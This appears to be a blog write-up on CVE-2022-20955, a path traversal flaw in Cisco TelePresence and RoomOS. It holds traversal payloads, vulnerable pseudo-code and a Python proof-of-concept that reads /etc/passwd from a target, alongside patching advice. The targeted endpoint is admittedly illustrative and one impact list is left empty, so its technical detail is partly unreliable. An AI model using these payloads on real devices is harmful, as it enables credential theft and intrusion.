In late 2022, Cisco exposed multiple critical vulnerabilities in its widely used TelePresence Collaboration Endpoint (CE) and RoomOS software. Leading the pack is CVE-2022-20955, a severe path traversal flaw. This bug, along with others, lets attackers read sensitive files or even write arbitrary files on affected Cisco devices – which could mean stolen credentials, full system compromise, or even persistent malware. Below, we'll break down what this vulnerability is, how it works, and how hackers can exploit it, with sample code, and show you how to keep your systems safe.

Understanding CVE-2022-20955

CVE-2022-20955 is a path traversal and arbitrary file write vulnerability found in the web framework of Cisco TelePresence CE and RoomOS software. These systems power video conferencing endpoints commonly used in boardrooms, classrooms, hospitals, and government offices worldwide.

What went wrong?

The vulnerabilities stem from insufficient input validation in certain HTTP endpoints exposed by the device’s web interface. This allows attackers to use tricks like ../ to move outside intended directories, and either read or write files they’re not supposed to touch.

Why is this so dangerous?

* Path traversal means reading any file stored on the device, such as password files, configuration secrets, or device private keys.
* Arbitrary file write means attackers can upload their own scripts or malware directly onto the device and persist.

Cisco RoomOS Software

If you haven’t updated since late 2022 or early 2023, you’re vulnerable! Cisco assigns these bugs a CVSSv3 score of 7.5 (High) or higher.

Technical Details and Exploit Scenarios

Let’s get into the hacker’s mindset. Suppose an attacker gains network access to a vulnerable Cisco video endpoint, maybe by sneaking onto Wi-Fi or plugging into a spare Ethernet port.

There’s a file download endpoint built into the device’s internal web server, something like

GET /files/download?path=<file_path>

On a *secure* device, the path parameter would only allow file downloads from a safe directory, say /user_uploads/.

Here’s some simplified pseudo-code (NOT the actual Cisco source)

def download_file(request):
    # BAD: This doesn't filter dangerous paths!
    path = request.args.get('path')
    with open(f"/user_uploads/{path}", "rb") as f:
        return f.read()

With no path filtering, an attacker can supply a malicious value, like

path=../../etc/passwd

This tricks the device into reading /etc/passwd (the UNIX password file) and sending it back!

Similarly, some endpoints let you upload files

def upload_file(request):
    filename = request.args.get('filename')
    content = request.files['file'].read()
    with open(f"/user_uploads/{filename}", "wb") as f:
        f.write(content)

An attacker could do

filename=../../../tmp/myscript.sh

and upload malware or a persistent backdoor script.

Proof-of-Concept Exploit (for Educational Purposes)

Below is a simplified exploit example in Python. This demonstrates reading a sensitive file, such as /etc/passwd, from an exposed Cisco endpoint.

import requests

target = "https://vulnerable-cisco-device.local";
file_to_steal = "../../etc/passwd"

url = f"{target}/files/download?path={file_to_steal}"

# Insecure! Don't verify certs in production
r = requests.get(url, verify=False)
if r.status_code == 200:
    print("Success! Leaked file contents:\n")
    print(r.text)
else:
    print("Exploit failed or patched.")

Replace "https://vulnerable-cisco-device.local"; with the real device address on the victim network.

* Cisco Security Advisory: Multiple Vulnerabilities in Cisco TelePresence Collaboration Endpoint (CE) Software and Cisco RoomOS Software
* CVE Details: CVE-2022-20955
* Cisco PSIRT: RoomOS Path Traversal

Real-World Impact

Hundreds of thousands of video endpoints in corporate offices, hospitals, defense agencies, and schools are potentially impacted. Attackers could:

How You Can Protect Your Devices

1. Patch Now:
Cisco released fixes in late 2022 and early 2023 for affected products. See Cisco’s advisory for the latest security updates and instructions.

2. Restrict Access:
Don’t expose device web interfaces to public or insecure networks. Use internal VLANs or dedicated management networks.

3. Monitor and Detect:
Check device logs for suspicious access patterns (e.g., repeated attempts to download odd paths).

Final Thoughts

CVE-2022-20955 is a textbook case of path traversal gone critical, showing why strict input filtering matters – especially on devices that hold the keys to the boardroom. Don’t assume your network gear is immune from old-school web bugs! Patch today, restrict access, and stay safe.


*This deep dive is original content, curated by cybersecurity enthusiasts for awareness and education. Feel free to share with your IT team and help keep your workplace secure!*

For more info, always check the official Cisco advisory and track CVEs for updates.

Timeline

Published on: 10/26/2022 15:15:00 UTC
Last modified on: 10/31/2022 17:30:00 UTC